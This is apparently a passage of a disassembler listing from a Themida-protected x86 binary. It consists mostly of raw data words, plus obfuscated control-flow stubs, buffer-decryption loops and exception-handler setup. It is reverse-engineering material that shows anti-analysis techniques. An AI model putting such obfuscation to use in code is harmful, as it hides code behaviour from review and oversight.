0F502C5Eh, 1889h, 13E900h, 0FD370000h, 22AC3641h, 0B1337849h dd 2C6962E7h, 37F50ACh, 0BD019698h, 6A80969h, 0A227B5FFh dd 666006ABh, 8D89D18Bh, 6A81491h, 9995FF61h, 6A06A821h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0BA4CC351h, 0CA17B91Eh, 0C5B7C351h, 14E8h dd 0E2EF9C00h, 58A74630h, 5ACE4165h, 7207624Dh, 5CA36923h dd 5850F38h, 0BB000000h, 32CC9BB3h, 1BB58B5Fh, 0E806ABA2h dd 0Ah, 0E7AA5693h, 7B7A9895h, 8D89AF67h, 6A82DD5h, 41858B5Bh dd 8B06A80Eh, 0A82769BDh, 0C4868906h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 3BE0C350h, 0BD8B9EADh, 6A81665h, 5B9958Bh, 6A06A8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BF661FC3h, 0C283E179h, 68D0F04h, 89000000h, 0A8021D95h dd 20508906h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0E3C35141h, 216A046h, 858DE8B7h, 6ABB7CEh, 0C5DBD8Bh dd 868906A8h, 0B8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 14C35343h, 362F96F9h, 8DD03B2h, 89F9B70Fh dd 0A81E6195h, 599D8B06h, 6A06A81Dh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0CFA88A3Dh dd 0DA8BC28Ah, 0A227B5FFh, 6A06ABh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 9F3F2BC3h dd 60DF3CECh, 81FDBA66h, 6860Fh, 0B5290000h, 6A80085h dd 51E38161h, 0FF37630Eh, 0A81E1D95h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 9094953Bh, 3489503Fh, 27B5FF24h, 8B06ABA2h, 0A806459Dh dd 6995FF06h, 8106A82Ah, 96AFFBF3h, 3DBD8352h, 6A82Eh dd 47840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 1F3091C3h, 6650A446h, 3489DA8Bh dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 8B66DC47h, 27B5FFFEh, 8106ABA2h, 0EB8D8CF7h dd 8595FF37h, 6A06A831h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 481DC350h, 0FE8h, 0B5B91C00h dd 13FA1377h, 65CBCFCFh, 54D9AE12h, 901B589h, 0FF5F06A8h dd 0ABA227B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 9D8B686Ah, 6A81471h, 0F8DB509h dd 95FF06A8h, 6A80F55h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 8BC35646h, 0FB5EE79Dh, 1F81B531h, 0BD8306A8h dd 6A8077Dh, 67840F02h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 7F09C350h dd 8171ECC2h, 0F78166CBh, 0BB66C1D8h, 0C3810A0Ah, 5306A254h dd 0D19858Bh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 8ADAA4C3h, 2A7E60EFh, 66CE5F80h dd 2389C381h, 660000C6h, 85C7DF8Bh, 6A80DC1h, 0 ; --------------------------------------------------------------------------- xor [ebp+6A82B31h], eax jmp loc_5973B4 ; --------------------------------------------------------------------------- db 94h dd 0C0A2848Dh ; --------------------------------------------------------------------------- loc_5973B4: ; CODE XREF: Themida_:005973AAj jmp near ptr dword_596688+1 ; --------------------------------------------------------------------------- push 0 push edi call sub_5973C4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5973C4 proc near ; CODE XREF: Themida_:005973BCp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5973C4 endp ; --------------------------------------------------------------------------- dd 4659C27Ah, 878A624Eh, 8B6674D8h, 23C18BD8h, 0A80E8D9Dh dd 85858D06h, 6A06A833h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0E5CCC353h, 504EABFEh dd 4895B57h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 3F25694Dh, 0BD01D8A9h, 6A81F41h dd 5360006Ah, 8B5E6160h, 0A80E4D8Dh, 6A6106h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9FC35646h, 8155B484h dd 0F3FC94D3h, 0F595296Dh, 8D06A832h, 0ACDBE785h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 89279CA7h, 0A81465BDh, 5C08306h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 37C35343h, 0EAEA7A71h, 0BBEAB57Ah dd 0ABC78166h, 2BF5082h, 89483302h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 19C2BAC3h dd 0FE9h, 0D3DCBA00h, 8CCAE837h, 0D94EDFE2h, 5DF728B4h dd 6AD98B66h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 7E73C832h, 0A224BF66h, 26299D33h dd 6A06A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0D2C35545h, 87CD064Fh, 19471055h, 9B99D8Bh, 95FF06A8h dd 6A82541h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 32C35545h, 7513681Fh, 0E53E9D20h, 5E9h, 9DADE800h dd 8D8DCEA9h, 6AB8C7Fh, 169D9531h, 0D1FF06A8h, 0BD83FB8Bh dd 6A8339Dh, 41850F01h, 9000000h, 0A80609BDh, 81026A06h dd 0EAEE8DE7h, 8B665048h, 240489FAh, 0F8FFBF0Fh, 1E1D95FFh dd 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0C781FCC3h, 51FF8853h, 0D48E9h, 0E800h, 815D0000h dd 0ACDBF1EDh, 55B50906h, 6A06A80Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8980C356h dd 0A805658Dh, 1BD8906h, 0F06A826h, 858DF9BFh, 6AB7E2Eh dd 870F90h, 50000000h, 7E9h, 0C5F57F00h, 0B8969871h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0D9B789FAh, 35FF64h, 89000000h, 0A82AE98Dh, 0BF605206h dd 3EE5E400h, 0F258D01h, 5B6106A8h, 258964h, 9000000h dd 0A80C25BDh, 0F185FF06h, 6A06A833h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B24C353h dd 0FF6AFE22h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 45C35040h, 0FF7488Fh, 14E9D9B7h, 0AA000000h, 0AA7EE086h dd 3F6C85Fh, 0F994FC41h, 0CFACD916h, 0FF054BEEh, 0A801B1B5h dd 3D958906h, 0FF06A81Bh, 0A82A7D95h, 12BE906h, 860F0000h dd 6, 8FD8529h, 9D2906A8h, 6A82145h, 9D3300B0h, 6A81681h dd 9D8B70E6h, 6A81FB5h, 9D0971E4h, 6A82ABDh, 830F613Ch dd 0F9h, 5ADDE381h, 0B60F61A3h, 800F60C8h, 6, 0E31F681h dd 0BD016125h, 6A80B91h, 6BA61h, 8D890000h, 6A80929h, 0C1F5C18Bh dd 0BD2904E8h, 6A81009h, 52E2F766h, 5FDA8B66h, 800FC82Bh dd 5, 0A6DD73BFh, 66D18B50h, 8BD72FBFh, 0A3E9F9h, 0BD890000h dd 6A80079h, 4858Bh, 85010000h, 6A80DCDh, 5307C083h, 0C0835Bh dd 0AE9h, 4A3E2800h, 605CAB74h, 3B1CF025h, 30830FD0h, 0F000000h dd 6AE9FBB7h, 0E8000000h, 0Eh, 18989307h, 143080B5h, 9C6AD33h dd 8E81B43h, 0C0000000h, 0BE2F6E49h, 0FCF6F56h, 84h, 8B5F5F00h dd 0FFFFFF8Dh, 558D89FFh, 8306A82Ah, 840F01E1h, 2Dh, 0FFFFA583h dd 0E8FEFFFFh, 0Eh, 3F9A28E1h, 20F059F4h, 2398544Eh, 8D31DFCFh dd 6A81C2Dh, 495895Bh, 0F9000000h, 0E9h, 8DB58D00h, 6606AC51h dd 6AF88Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0CAC35646h, 8BB10F3Bh, 0E8C1412Eh, 7, 0C6C8CF36h dd 8B8E2FBEh, 95FF5FD9h, 6A81B31h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0C1C35040h, 26523554h, 34D59D8Bh dd 2B906A8h, 0F00000Fh, 0E183FAB7h, 14E9FCh, 14980000h dd 31F11A9Bh, 0C31C2404h, 3629E42Dh, 3E7D74C4h, 8BFC1A45h dd 0A816919Dh, 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 3CD04AC3h, 0D22B5C43h dd 0DE8h, 0FA1E5D00h, 0E4226970h, 8A783A34h, 10E97785h dd 76000000h, 6A45D1Eh, 0A08F2D84h, 0BB4C8AF9h, 5FD6E0AEh dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FDCD780h, 880DFEB7h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0B415C350h, 0ED8F9044h, 68F0FC2h dd 2B000000h, 0A81A8D9Dh, 0ED9D8B06h, 8B06A82Fh, 0A805B995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0F807AE7h, 14698D8Bh, 0BD0306A8h, 6A80AA5h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 8311E5C3h, 800F513Bh, 6, 830Fh, 0B5F0000h, 0A805C19Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0CE4A5836h, 0E5FA750Dh, 9D8B04DCh, 6A82CC5h dd 0C91BD83h, 0F0006A8h, 4A84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 1585891Eh dd 0B806A821h, 0 ; --------------------------------------------------------------------------- jge loc_597A52 jnp loc_597A52 mov [ebp+6A80F51h], edi loc_597A52: ; CODE XREF: Themida_:00597A40j ; Themida_:00597A46j lea ecx, [ebp+6A84FAFh] xor ebx, [ebp+6A80EF5h] jmp ecx ; --------------------------------------------------------------------------- mov di, cx cmp dword ptr [ebp+6A80BBDh], 0 jz loc_597E9F cmp dword ptr [ebp+6A80BBDh], 1 jz loc_597EBA mov ebx, eax cmp dword ptr [ebp+6A80BBDh], 3 jbe loc_597E84 push 0 push esi call sub_597A97 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597A97 proc near ; CODE XREF: Themida_:00597A8Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_597A97 endp ; --------------------------------------------------------------------------- cmp [eax+7Dh], ebp mov ch, al cmpsd pop edx pusha push 0 push edx call sub_597ABA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597ABA proc near ; CODE XREF: Themida_:00597AB2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_597ABA endp ; --------------------------------------------------------------------------- rol dword ptr [ebp+63h], 1 retn ; --------------------------------------------------------------------------- stosb mov edi, [ebp+6A80795h] mov cx, ds or edi, 833171Fh and cl, 4 push 0 push edi call sub_597AEC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597AEC proc near ; CODE XREF: Themida_:00597AE4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_597AEC endp ; --------------------------------------------------------------------------- xor ch, [eax] mov ch, 10h or cl, cl jz loc_597C23 pusha jmp loc_597B1C ; --------------------------------------------------------------------------- dw 3992h dd 3BC80AE2h, 548529F5h, 320148E9h ; --------------------------------------------------------------------------- loc_597B1C: ; CODE XREF: Themida_:00597B09j movzx ebx, cx popa mov eax, [ebp+6A80BE1h] mov di, bx xor eax, [ebp+6A81D5Dh] push 0 push ecx call sub_597B3A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597B3A proc near ; CODE XREF: Themida_:00597B32p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_597B3A endp ; --------------------------------------------------------------------------- aTUFndvRkPflRj db 'âÕž°”„¢ÀŠÚPf‹Ùj',0 ; --------------------------------------------------------------------------- push edx call sub_597B66 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597B66 proc near ; CODE XREF: Themida_:00597B5Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_597B66 endp ; --------------------------------------------------------------------------- push cs xor [ebx+2B719D31h], ecx test al, 6 mov edi, [ebp+6A82A91h] push 0 push 0 push ebp call sub_597B92 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597B92 proc near ; CODE XREF: Themida_:00597B8Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_597B92 endp ; --------------------------------------------------------------------------- dw 0ED95h dd 8665F7A0h, 1B1368E9h, 0DE8767Ah, 0F8000000h, 1DB2E0EAh dd 63486B77h, 0AA1FA414h, 5FFA8A51h, 2434815Bh, 766518ECh dd 74195FFh, 0BD3306A8h, 6A82535h, 0A2278589h, 6A06ABh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 636F7AC3h, 0FE876ADh, 12000000h, 6D08766Dh, 0E5EC96A4h dd 8926BFDEh, 9501883Dh, 6A82F61h, 1B4E95Bh, 81660000h db 0F7h, 0BBh, 0F2h ; --------------------------------------------------------------------------- loc_597C23: ; CODE XREF: Themida_:00597B02j mov eax, [ebp+6ABA21Fh] push 0 push edx call sub_597C34 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597C34 proc near ; CODE XREF: Themida_:00597C2Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_597C34 endp ; --------------------------------------------------------------------------- dd 0B98452F3h, 1800C78Dh, 0F000000h, 88Eh, 2880F00h, 60000000h dd 13F38061h, 0A223B58Bh, 0BD8B06ABh, 6A829D9h, 2B7D858Bh dd 0DE806A8h, 88000000h, 92654B8Eh, 90A1689Dh, 0E411EC62h dd 499D01h, 895B06A8h, 0A82F85BDh, 6A068906h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 4F15C350h, 490C1983h, 0F98B4CB2h, 0BE1858Bh, 6A06A8h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0FCBB8AC3h, 0CCB6BF66h, 6A044689h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 46DFC356h dd 2BA31E64h, 503B352Fh, 0CE8h, 0E7A1D00h, 0E98B0AB7h dd 1701A7B5h, 880FE2h, 5B000000h, 89243489h, 0A801A98Dh dd 1FB5FF06h, 6A06ABA2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0DB2AC351h, 1176C428h dd 0BDFBF0Fh, 0A80625BDh, 0B0BB6606h, 857F6852h, 6DBB3C6Fh dd 8170D1D7h, 86802434h, 0BD893C70h, 6A833D5h, 0A227858Dh dd 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 5D7B88C3h, 3CA8D13Fh, 800F50FBh, 5, 0CA817FBFh dd 24048950h, 0E9DF8166h, 4195FF74h, 5706A807h, 14E9h dd 10CCC700h, 9436F974h, 0A5C996BBh, 0AD206501h, 0A83A8465h dd 8B615B5Fh, 0A800659Dh, 0BD85C706h, 306A80Bh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 7E3DC351h, 83F802FDh, 0ABA227BDh, 840F0006h dd 74h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 0BDC35141h, 0CF358B96h, 499509D1h, 8106A82Bh, 34C169E3h dd 5DE91Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0E8610BC3h, 0FBB8444h, 1587h, 10E900h dd 0C3200000h, 10385111h, 0B83FAE20h, 0F375FC30h, 0DF81C46Bh dd 1DF8D31Fh ; --------------------------------------------------------------------------- loc_597E84: ; CODE XREF: Themida_:00597A86j ; Themida_:00597E9Bj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_597E84 jmp short loc_597ED5 ; --------------------------------------------------------------------------- loc_597E9F: ; CODE XREF: Themida_:00597A6Aj ; Themida_:00597EB6j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_597E9F jmp short loc_597ED5 ; --------------------------------------------------------------------------- loc_597EBA: ; CODE XREF: Themida_:00597A77j ; Themida_:00597ED1j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_597EBA jmp short $+2 loc_597ED5: ; CODE XREF: Themida_:00597E9Dj ; Themida_:00597EB8j mov eax, eax push 0 push ebp call sub_597EE2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597EE2 proc near ; CODE XREF: Themida_:00597EDAp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_597EE2 endp ; --------------------------------------------------------------------------- dw 0E59Bh ; --------------------------------------------------------------------------- xchg eax, ebx jbe short near ptr loc_597F1C+1 inc edx jg short near ptr loc_597EFB+4 stc loc_597EFB: ; CODE XREF: Themida_:00597EF8j lds ecx, [ecx-57CE5E63h] push es mov ebx, 4DCFBC08h cmp dword ptr [ebp+6A80BBDh], 3 jnz loc_59830E push 0 push esi call sub_597F1F loc_597F1C: ; CODE XREF: Themida_:00597EF5j and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597F1F proc near ; CODE XREF: Themida_:00597F17p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_597F1F endp ; --------------------------------------------------------------------------- db 0E5h dd 0EB294377h, 602798D8h, 0EFD68166h, 0BF0F6089h, 0E98166DBh dd 61619EF2h, 0A227BD83h, 0F0006ABh, 3B984h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FF044ED0h, 0ABA227B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 69C4B1FEh dd 20CB81F9h, 0FF1F5A8Ch, 0A815F995h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0E8327B87h, 0D59978FFh, 735BD89h, 0BF6606A8h, 0B58B17C9h dd 6ABA21Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0B3C35646h, 106C7C8h, 6A000100h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 494EC351h dd 0CA84F5BCh, 878FE381h, 8B6611C4h, 965096D9h, 1318D29h dd 0B5FF06A8h, 6ABA227h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 88C35343h, 0FE256E1Fh, 9995FFEBh, 6606A821h dd 8B7C9CBBh, 0ABA21BB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 19229C34h dd 41858B0Dh, 8906A80Eh, 0A81FE1B5h, 0C4868906h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 834FC356h, 0B2490C19h, 0C55BD89h, 958B06A8h dd 6A805B9h, 1E999D8Bh, 0C28306A8h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 39AD6CF0h dd 44E8610Bh, 5810Fh, 0F510000h, 895FFEBFh, 9D8B2050h dd 6A81DDDh, 0B7CE858Dh, 0BE906ABh, 7D000000h, 9FDC2628h dd 14547AA3h, 86893E67h, 0B8h, 0B77DDB81h, 6A260Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 83C35343h, 0F164AF9Dh dd 9E5E9DBh, 1D9D3320h, 0FF06A80Fh, 0ABA227B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 59960B18h, 664644F2h, 0EC50E781h, 1E1D95FFh, 6A06A8h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0E2F908C3h, 0D1D2E04Ah, 9D8B19A5h, 6A82BD5h, 34B750F5h dd 66243489h, 0C445DF81h, 0A227B5FFh, 858906ABh, 6A825D9h dd 2A6995FFh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 79A2FFC3h, 8B4C7A6Bh, 83F9FA8Ah dd 0A82E3DBDh, 840F0006h, 0Ch, 7046BB66h, 89DF8B50h, 0D88B2434h dd 0A227B5FFh, 6A06ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0FD2A8DC3h, 0CA4B8516h, 34BD9D29h dd 95FF06A8h, 6A83185h, 28B0F60h, 57000000h, 0FF61F85Eh dd 0ABA227B5h, 0F59D8B06h, 0FF06A813h, 0A80F5595h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0B316436Eh, 0D0494A65h, 81667AE5h, 8360ACEBh, 0A8077DBDh dd 840F0206h, 41h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 3FC35242h, 353668CCh, 0D19858Bh, 858906A8h dd 6A81EF5h, 0E90000C6h, 0Dh, 1DF81138h, 485BA135h, 9829FE73h dd 0C185C7DEh, 6A80Dh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 33B1C357h dd 58D444B8h, 810F8F08h, 6, 3079BD8Bh ; --------------------------------------------------------------------------- test al, 6 loc_59830E: ; CODE XREF: Themida_:00597F0Ej jmp near ptr dword_5973D4+2EAh ; --------------------------------------------------------------------------- mov ebx, [ebp+6A80765h] mov eax, ecx push 0 push eax call sub_598326 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598326 proc near ; CODE XREF: Themida_:0059831Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_598326 endp ; --------------------------------------------------------------------------- dw 0D08Dh dd 81EBC1B9h, 0B99EE7F7h, 85858D5Bh, 6A06A833h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 2C01C351h, 89B06384h, 0A8018D85h, 25BF5006h, 8948F6BBh dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 64E25BC3h, 0EAD0883Ah, 66A3D108h, 9F8ECB81h dd 6A006Ah, 13FDBD8Bh, 0FE8B06A8h, 0EAD5858Dh, 6A06ACh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 543B39C3h, 5C083F7h, 3D43E381h, 66905FD9h, 505539BBh dd 8A2896BBh, 6A9050h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 81C35141h, 0E51ECEDDh, 0BF6656F8h, 6A5F5B25h dd 0A5BD2B00h, 0E906A82Fh, 0Eh, 107CF68Bh, 0E9031EC4h dd 0D99E3C1Dh, 95FF1324h, 6A82541h, 1401BD8Bh, 8D8D06A8h dd 6AB8C7Fh, 0FFFFBF0Fh, 9DBD83D1h, 106A833h, 94850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 909A6BC3h, 66F78105h, 6A6B4C50h, 51006A02h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0B90B51C2h, 12E990FAh, 5C000000h, 0DF2EC1B2h, 0C51A07FAh dd 29079FA0h, 85F945A7h, 0F88B50E4h, 9D8B5190h, 6A831E9h dd 1D95FF5Bh, 6A06A81Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0CC72C357h, 0F3CB44Dh dd 30E9DABFh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6ACEADFh mov bl, ah mov [ebp+6A82AE5h], edi lea eax, [ebp+6AB7E2Eh] jl loc_59850D mov edi, [ebp+6A81795h] loc_59850D: ; CODE XREF: Themida_:00598501j push eax jnz loc_59851E jg loc_59851E mov bx, 0B39Bh loc_59851E: ; CODE XREF: Themida_:0059850Ej ; Themida_:00598514j mov [esp], eax push large dword ptr fs:0 push 0 push ebx call sub_598533 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598533 proc near ; CODE XREF: Themida_:0059852Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_598533 endp ; --------------------------------------------------------------------------- cmpsd mov ds:3AD26B51h, al jbe short loc_5985AF mov large ds:0, esp push 0 push edi call sub_59855C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59855C proc near ; CODE XREF: Themida_:00598554p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_59855C endp ; --------------------------------------------------------------------------- dd 0B7BD14FAh, 0FF1B5F73h, 0A833F185h, 0BE806h, 538F0000h dd 0A6418DABh, 410E5CD9h, 8DBD8921h, 5F06A80Fh, 9850Fh dd 0FC600000h, 3311BD89h, 6A6106A8h, 818D89FFh, 0FF06A831h dd 0A816FDB5h ; --------------------------------------------------------------------------- push es push 0 loc_5985AF: ; CODE XREF: Themida_:00598549j push ebp call sub_5985B8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5985B8 proc near ; CODE XREF: Themida_:005985B0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5985B8 endp ; --------------------------------------------------------------------------- dd 0E0224D9Ah, 0B2E6F37Ah, 2BB66D3h, 7D95FF6Ah, 0E906A82Ah dd 136h, 0BB6600B0h, 70E63F8Dh, 4FB9BB66h, 39BB71E4h, 3C5BF957h dd 1B830F61h, 0F000001h, 85h, 0FE86000h, 0DB000000h, 2246C578h dd 0D344956Bh, 0A9BA09DFh, 8D8BAF4Dh, 6A82A01h, 0C8BF0F5Fh dd 0C8B60F61h, 6A5BD23h, 853106A8h, 6A80FCDh, 6BAh, 6D853100h dd 8B06A80Ch, 459D89C1h, 0C106A801h, 0FC8A04E8h, 0FE2F766h dd 0C82BFAB7h, 97D9D8Bh, 0EE906A8h, 5E000000h, 2F0EE2D5h dd 919141DEh, 9C404241h, 0BFD18B8Eh, 35D62B0Fh, 0A1E9h dd 13E900h, 15230000h, 0D1D9259Bh, 0EABFF2E2h, 0A5EC56FDh dd 69EBA836h, 44858B1Bh, 605F4C4Ch, 0EDD8E4BFh, 0D985892Fh dd 6106A81Fh, 0EAD9D89h, 0C08306A8h, 9D8BF907h, 6A82651h dd 0F900C083h, 830FD03Bh, 0Fh, 25258D89h, 4FE906A8h, 66000000h dd 8B23EFBBh, 0FFFFFF8Dh, 0DE851FFh, 0D000000h, 8A7F013Fh dd 7B110D12h, 5300B754h, 5B5F5B53h, 0F01E183h, 2584h, 83DE8B00h dd 0FFFFFFA5h, 8E0FFEFFh, 6, 155BD8Bh, 958906A8h, 5F4C4C44h dd 88C78166h, 0E90Ah, 0B58D0000h, 6AC608Fh, 1840Fh, 0FF80000h dd 6AF8B7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 9EC35040h, 0EC472DECh, 0BF49A384h, 1DBF663Bh, 3195FF45h dd 6606A81Bh, 0B94377BFh, 0F23h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0C0C35242h, 3136C789h, 0A81009BDh dd 0FCE18306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A6C35242h, 6E406420h, 8919B7BFh, 12E922h, 7B110000h dd 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh, 6AC02BFCh dd 3E85000h, 20000000h, 